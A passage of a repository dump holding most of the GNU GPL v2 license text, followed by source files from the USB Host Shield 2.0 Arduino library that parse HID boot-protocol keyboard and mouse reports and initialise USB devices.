free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. ================================================ FILE: libraries/USB_Host_Shield_2.0/hexdump.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__HEXDUMP_H__) #error "Never include hexdump.h directly; include Usb.h instead" #else #define __HEXDUMP_H__ extern int UsbDEBUGlvl; template class HexDumper : public BASE_CLASS { uint8_t byteCount; OFFSET_TYPE byteTotal; public: HexDumper() : byteCount(0), byteTotal(0) { }; void Initialize() { byteCount = 0; byteTotal = 0; }; void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset); }; template void HexDumper::Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset __attribute__((unused))) { if(UsbDEBUGlvl >= 0x80) { // Fully bypass this block of code if we do not debug. for(LEN_TYPE j = 0; j < len; j++, byteCount++, byteTotal++) { if(!byteCount) { PrintHex (byteTotal, 0x80); E_Notify(PSTR(": "), 0x80); } PrintHex (pbuf[j], 0x80); E_Notify(PSTR(" "), 0x80); if(byteCount == 15) { E_Notify(PSTR("\r\n"), 0x80); byteCount = 0xFF; } } } } #endif // __HEXDUMP_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/hidboot.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "hidboot.h" void MouseReportParser::Parse(USBHID *hid __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf) { MOUSEINFO *pmi = (MOUSEINFO*)buf; // Future: // bool event; #if 0 if (prevState.mouseInfo.bmLeftButton == 0 && pmi->bmLeftButton == 1) OnLeftButtonDown(pmi); if (prevState.mouseInfo.bmLeftButton == 1 && pmi->bmLeftButton == 0) OnLeftButtonUp(pmi); if (prevState.mouseInfo.bmRightButton == 0 && pmi->bmRightButton == 1) OnRightButtonDown(pmi); if (prevState.mouseInfo.bmRightButton == 1 && pmi->bmRightButton == 0) OnRightButtonUp(pmi); if (prevState.mouseInfo.bmMiddleButton == 0 && pmi->bmMiddleButton == 1) OnMiddleButtonDown(pmi); if (prevState.mouseInfo.bmMiddleButton == 1 && pmi->bmMiddleButton == 0) OnMiddleButtonUp(pmi); if (prevState.mouseInfo.dX != pmi->dX || prevState.mouseInfo.dY != pmi->dY) OnMouseMove(pmi); if (len > sizeof (MOUSEINFO)) for (uint8_t i = 0; ibmLeftButton ) { if(pmi->bmLeftButton) { OnLeftButtonDown(pmi); } else { OnLeftButtonUp(pmi); } // Future: // event = true; } if(prevState.mouseInfo.bmRightButton != pmi->bmRightButton) { if(pmi->bmRightButton) { OnRightButtonDown(pmi); } else { OnRightButtonUp(pmi); } // Future: // event = true; } if(prevState.mouseInfo.bmMiddleButton != pmi->bmMiddleButton) { if(pmi->bmMiddleButton) { OnMiddleButtonDown(pmi); } else { OnMiddleButtonUp(pmi); } // Future: // event = true; } // // Scroll wheel(s), are not part of the spec, but we could support it. // Logitech wireless keyboard and mouse combo reports scroll wheel in byte 4 // We wouldn't even need to save this information. //if(len > 3) { //} // // Mice only report motion when they actually move! // Why not just pass the x/y values to simplify things?? if(pmi->dX || pmi->dY) { OnMouseMove(pmi); // Future: // event = true; } // // Future: // Provide a callback that operates on the gathered events from above. // // if(event) OnMouse(); // // Only the first byte matters (buttons). We do NOT need to save position info. prevState.bInfo[0] = buf[0]; #endif }; void KeyboardReportParser::Parse(USBHID *hid, bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf) { // On error - return if (buf[2] == 1) return; //KBDINFO *pki = (KBDINFO*)buf; // provide event for changed control key state if (prevState.bInfo[0x00] != buf[0x00]) { OnControlKeysChanged(prevState.bInfo[0x00], buf[0x00]); } for (uint8_t i = 2; i < 8; i++) { bool down = false; bool up = false; for (uint8_t j = 2; j < 8; j++) { if (buf[i] == prevState.bInfo[j] && buf[i] != 1) down = true; if (buf[j] == prevState.bInfo[i] && prevState.bInfo[i] != 1) up = true; } if (!down) { HandleLockingKeys(hid, buf[i]); OnKeyDown(*buf, buf[i]); } if (!up) OnKeyUp(prevState.bInfo[0], prevState.bInfo[i]); } for (uint8_t i = 0; i < 8; i++) prevState.bInfo[i] = buf[i]; }; const uint8_t KeyboardReportParser::numKeys[10] PROGMEM = {'!', '@', '#', '$', '%', '^', '&', '*', '(', ')'}; const uint8_t KeyboardReportParser::symKeysUp[12] PROGMEM = {'_', '+', '{', '}', '|', '~', ':', '"', '~', '<', '>', '?'}; const uint8_t KeyboardReportParser::symKeysLo[12] PROGMEM = {'-', '=', '[', ']', '\\', ' ', ';', '\'', '`', ',', '.', '/'}; const uint8_t KeyboardReportParser::padKeys[5] PROGMEM = {'/', '*', '-', '+', 0x13}; uint8_t KeyboardReportParser::OemToAscii(uint8_t mod, uint8_t key) { uint8_t shift = (mod & 0x22); // [a-z] if (VALUE_WITHIN(key, 0x04, 0x1d)) { // Upper case letters if ((kbdLockingKeys.kbdLeds.bmCapsLock == 0 && shift) || (kbdLockingKeys.kbdLeds.bmCapsLock == 1 && shift == 0)) return (key - 4 + 'A'); // Lower case letters else return (key - 4 + 'a'); }// Numbers else if (VALUE_WITHIN(key, 0x1e, 0x27)) { if (shift) return ((uint8_t)pgm_read_byte(&getNumKeys()[key - 0x1e])); else return ((key == UHS_HID_BOOT_KEY_ZERO) ? '0' : key - 0x1e + '1'); }// Keypad Numbers else if(VALUE_WITHIN(key, 0x59, 0x61)) { if(kbdLockingKeys.kbdLeds.bmNumLock == 1) return (key - 0x59 + '1'); } else if(VALUE_WITHIN(key, 0x2d, 0x38)) return ((shift) ? (uint8_t)pgm_read_byte(&getSymKeysUp()[key - 0x2d]) : (uint8_t)pgm_read_byte(&getSymKeysLo()[key - 0x2d])); else if(VALUE_WITHIN(key, 0x54, 0x58)) return (uint8_t)pgm_read_byte(&getPadKeys()[key - 0x54]); else { switch(key) { case UHS_HID_BOOT_KEY_SPACE: return (0x20); case UHS_HID_BOOT_KEY_ENTER: return (0x13); case UHS_HID_BOOT_KEY_ZERO2: return ((kbdLockingKeys.kbdLeds.bmNumLock == 1) ? '0': 0); case UHS_HID_BOOT_KEY_PERIOD: return ((kbdLockingKeys.kbdLeds.bmNumLock == 1) ? '.': 0); } } return ( 0); } ================================================ FILE: libraries/USB_Host_Shield_2.0/hidboot.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__HIDBOOT_H__) #define __HIDBOOT_H__ #include "usbhid.h" #define UHS_HID_BOOT_KEY_ZERO 0x27 #define UHS_HID_BOOT_KEY_ENTER 0x28 #define UHS_HID_BOOT_KEY_SPACE 0x2c #define UHS_HID_BOOT_KEY_CAPS_LOCK 0x39 #define UHS_HID_BOOT_KEY_SCROLL_LOCK 0x47 #define UHS_HID_BOOT_KEY_NUM_LOCK 0x53 #define UHS_HID_BOOT_KEY_ZERO2 0x62 #define UHS_HID_BOOT_KEY_PERIOD 0x63 // Don't worry, GCC will optimize the result to a final value. #define bitsEndpoints(p) ((((p) & USB_HID_PROTOCOL_KEYBOARD)? 2 : 0) | (((p) & USB_HID_PROTOCOL_MOUSE)? 1 : 0)) #define totalEndpoints(p) ((bitsEndpoints(p) == 3) ? 3 : 2) #define epMUL(p) ((((p) & USB_HID_PROTOCOL_KEYBOARD)? 1 : 0) + (((p) & USB_HID_PROTOCOL_MOUSE)? 1 : 0)) // Already defined in hid.h // #define HID_MAX_HID_CLASS_DESCRIPTORS 5 struct MOUSEINFO { struct { uint8_t bmLeftButton : 1; uint8_t bmRightButton : 1; uint8_t bmMiddleButton : 1; uint8_t bmDummy : 5; }; int8_t dX; int8_t dY; }; class MouseReportParser : public HIDReportParser { union { MOUSEINFO mouseInfo; uint8_t bInfo[sizeof (MOUSEINFO)]; } prevState; public: void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); protected: virtual void OnMouseMove(MOUSEINFO *mi __attribute__((unused))) { }; virtual void OnLeftButtonUp(MOUSEINFO *mi __attribute__((unused))) { }; virtual void OnLeftButtonDown(MOUSEINFO *mi __attribute__((unused))) { }; virtual void OnRightButtonUp(MOUSEINFO *mi __attribute__((unused))) { }; virtual void OnRightButtonDown(MOUSEINFO *mi __attribute__((unused))) { }; virtual void OnMiddleButtonUp(MOUSEINFO *mi __attribute__((unused))) { }; virtual void OnMiddleButtonDown(MOUSEINFO *mi __attribute__((unused))) { }; }; struct MODIFIERKEYS { uint8_t bmLeftCtrl : 1; uint8_t bmLeftShift : 1; uint8_t bmLeftAlt : 1; uint8_t bmLeftGUI : 1; uint8_t bmRightCtrl : 1; uint8_t bmRightShift : 1; uint8_t bmRightAlt : 1; uint8_t bmRightGUI : 1; }; struct KBDINFO { struct { uint8_t bmLeftCtrl : 1; uint8_t bmLeftShift : 1; uint8_t bmLeftAlt : 1; uint8_t bmLeftGUI : 1; uint8_t bmRightCtrl : 1; uint8_t bmRightShift : 1; uint8_t bmRightAlt : 1; uint8_t bmRightGUI : 1; }; uint8_t bReserved; uint8_t Keys[6]; }; struct KBDLEDS { uint8_t bmNumLock : 1; uint8_t bmCapsLock : 1; uint8_t bmScrollLock : 1; uint8_t bmCompose : 1; uint8_t bmKana : 1; uint8_t bmReserved : 3; }; class KeyboardReportParser : public HIDReportParser { static const uint8_t numKeys[10]; static const uint8_t symKeysUp[12]; static const uint8_t symKeysLo[12]; static const uint8_t padKeys[5]; protected: union { KBDINFO kbdInfo; uint8_t bInfo[sizeof (KBDINFO)]; } prevState; union { KBDLEDS kbdLeds; uint8_t bLeds; } kbdLockingKeys; uint8_t OemToAscii(uint8_t mod, uint8_t key); public: KeyboardReportParser() { kbdLockingKeys.bLeds = 0; }; void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); protected: virtual uint8_t HandleLockingKeys(USBHID* hid, uint8_t key) { uint8_t old_keys = kbdLockingKeys.bLeds; switch(key) { case UHS_HID_BOOT_KEY_NUM_LOCK: kbdLockingKeys.kbdLeds.bmNumLock = ~kbdLockingKeys.kbdLeds.bmNumLock; break; case UHS_HID_BOOT_KEY_CAPS_LOCK: kbdLockingKeys.kbdLeds.bmCapsLock = ~kbdLockingKeys.kbdLeds.bmCapsLock; break; case UHS_HID_BOOT_KEY_SCROLL_LOCK: kbdLockingKeys.kbdLeds.bmScrollLock = ~kbdLockingKeys.kbdLeds.bmScrollLock; break; } if(old_keys != kbdLockingKeys.bLeds && hid) { uint8_t lockLeds = kbdLockingKeys.bLeds; return (hid->SetReport(0, 0/*hid->GetIface()*/, 2, 0, 1, &lockLeds)); } return 0; }; virtual void OnControlKeysChanged(uint8_t before __attribute__((unused)), uint8_t after __attribute__((unused))) { }; virtual void OnKeyDown(uint8_t mod __attribute__((unused)), uint8_t key __attribute__((unused))) { }; virtual void OnKeyUp(uint8_t mod __attribute__((unused)), uint8_t key __attribute__((unused))) { }; virtual const uint8_t *getNumKeys() { return numKeys; }; virtual const uint8_t *getSymKeysUp() { return symKeysUp; }; virtual const uint8_t *getSymKeysLo() { return symKeysLo; }; virtual const uint8_t *getPadKeys() { return padKeys; }; }; template class HIDBoot : public USBHID //public USBDeviceConfig, public UsbConfigXtracter { EpInfo epInfo[totalEndpoints(BOOT_PROTOCOL)]; HIDReportParser *pRptParser[epMUL(BOOT_PROTOCOL)]; uint8_t bConfNum; // configuration number uint8_t bIfaceNum; // Interface Number uint8_t bNumIface; // number of interfaces in the configuration uint8_t bNumEP; // total number of EP in the configuration uint32_t qNextPollTime; // next poll time bool bPollEnable; // poll enable flag uint8_t bInterval; // largest interval bool bRptProtoEnable; // Report Protocol enable flag void Initialize(); virtual HIDReportParser* GetReportParser(uint8_t id) { return pRptParser[id]; }; public: HIDBoot(USB *p, bool bRptProtoEnable = false); virtual bool SetReportParser(uint8_t id, HIDReportParser *prs) { pRptParser[id] = prs; return true; }; // USBDeviceConfig implementation uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); virtual uint8_t GetAddress() { return bAddress; }; virtual bool isReady() { return bPollEnable; }; // UsbConfigXtracter implementation // Method should be defined here if virtual. virtual void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); virtual bool DEVCLASSOK(uint8_t klass) { return (klass == USB_CLASS_HID); } virtual bool DEVSUBCLASSOK(uint8_t subklass) { return (subklass == BOOT_PROTOCOL); } }; template HIDBoot::HIDBoot(USB *p, bool bRptProtoEnable/* = false*/) : USBHID(p), qNextPollTime(0), bPollEnable(false), bRptProtoEnable(bRptProtoEnable) { Initialize(); for(int i = 0; i < epMUL(BOOT_PROTOCOL); i++) { pRptParser[i] = NULL; } if(pUsb) pUsb->RegisterDeviceClass(this); } template void HIDBoot::Initialize() { for(int i = 0; i < totalEndpoints(BOOT_PROTOCOL); i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } bNumEP = 1; bNumIface = 0; bConfNum = 0; } template uint8_t HIDBoot::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR* device; uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t len = 0; //uint16_t cd_len = 0; uint8_t num_of_conf; // number of configurations //uint8_t num_of_intf; // number of interfaces AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("BM Init\r\n"); //USBTRACE2("totalEndpoints:", (uint8_t) (totalEndpoints(BOOT_PROTOCOL))); //USBTRACE2("epMUL:", epMUL(BOOT_PROTOCOL)); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; bInterval = 0; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf); if(!rcode) len = (buf[0] > constBufSize) ? constBufSize : buf[0]; device = reinterpret_cast(buf); if(rcode) { // Restore p->epinfo p->epinfo = oldep_ptr; goto FailGetDevDescr; } // Restore p->epinfo p->epinfo = oldep_ptr; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = (uint8_t)(device->bMaxPacketSize0); // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } //delay(2); //per USB 2.0 sect.9.2.6.3 USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; if(len) rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf); if(rcode) goto FailGetDevDescr; num_of_conf = device->bNumConfigurations; USBTRACE2("NC:", num_of_conf); // GCC will optimize unused stuff away. if((BOOT_PROTOCOL & (USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE)) == (USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE)) { USBTRACE("HID_PROTOCOL_KEYBOARD AND MOUSE\r\n"); ConfigDescParser< USB_CLASS_HID, HID_BOOT_INTF_SUBCLASS, USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE, CP_MASK_COMPARE_ALL > confDescrParser(this); confDescrParser.SetOR(); // Use the OR variant. for(uint8_t i = 0; i < num_of_conf; i++) { pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if(bNumEP == (uint8_t)(totalEndpoints(BOOT_PROTOCOL))) break; } } else { // GCC will optimize unused stuff away. if(BOOT_PROTOCOL & USB_HID_PROTOCOL_KEYBOARD) { USBTRACE("HID_PROTOCOL_KEYBOARD\r\n"); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser< USB_CLASS_HID, HID_BOOT_INTF_SUBCLASS, USB_HID_PROTOCOL_KEYBOARD, CP_MASK_COMPARE_ALL> confDescrParserA(this); pUsb->getConfDescr(bAddress, 0, i, &confDescrParserA); if(bNumEP == (uint8_t)(totalEndpoints(BOOT_PROTOCOL))) break; } } // GCC will optimize unused stuff away. if(BOOT_PROTOCOL & USB_HID_PROTOCOL_MOUSE) { USBTRACE("HID_PROTOCOL_MOUSE\r\n"); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser< USB_CLASS_HID, HID_BOOT_INTF_SUBCLASS, USB_HID_PROTOCOL_MOUSE, CP_MASK_COMPARE_ALL> confDescrParserB(this); pUsb->getConfDescr(bAddress, 0, i, &confDescrParserB); if(bNumEP == ((uint8_t)(totalEndpoints(BOOT_PROTOCOL)))) break; } } } USBTRACE2("bNumEP:", bNumEP); if(bNumEP != (uint8_t)(totalEndpoints(BOOT_PROTOCOL))) { rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; goto Fail; } // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); //USBTRACE2("setEpInfoEntry returned ", rcode); USBTRACE2("Cnf:", bConfNum); delay(1000); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; delay(1000); USBTRACE2("bIfaceNum:", bIfaceNum); USBTRACE2("bNumIface:", bNumIface); // Yes, mouse wants SetProtocol and SetIdle too! for(uint8_t i = 0; i < epMUL(BOOT_PROTOCOL); i++) { USBTRACE2("\r\nInterface:", i); rcode = SetProtocol(i, bRptProtoEnable ? HID_RPT_PROTOCOL : USB_HID_BOOT_PROTOCOL); if(rcode) goto FailSetProtocol; 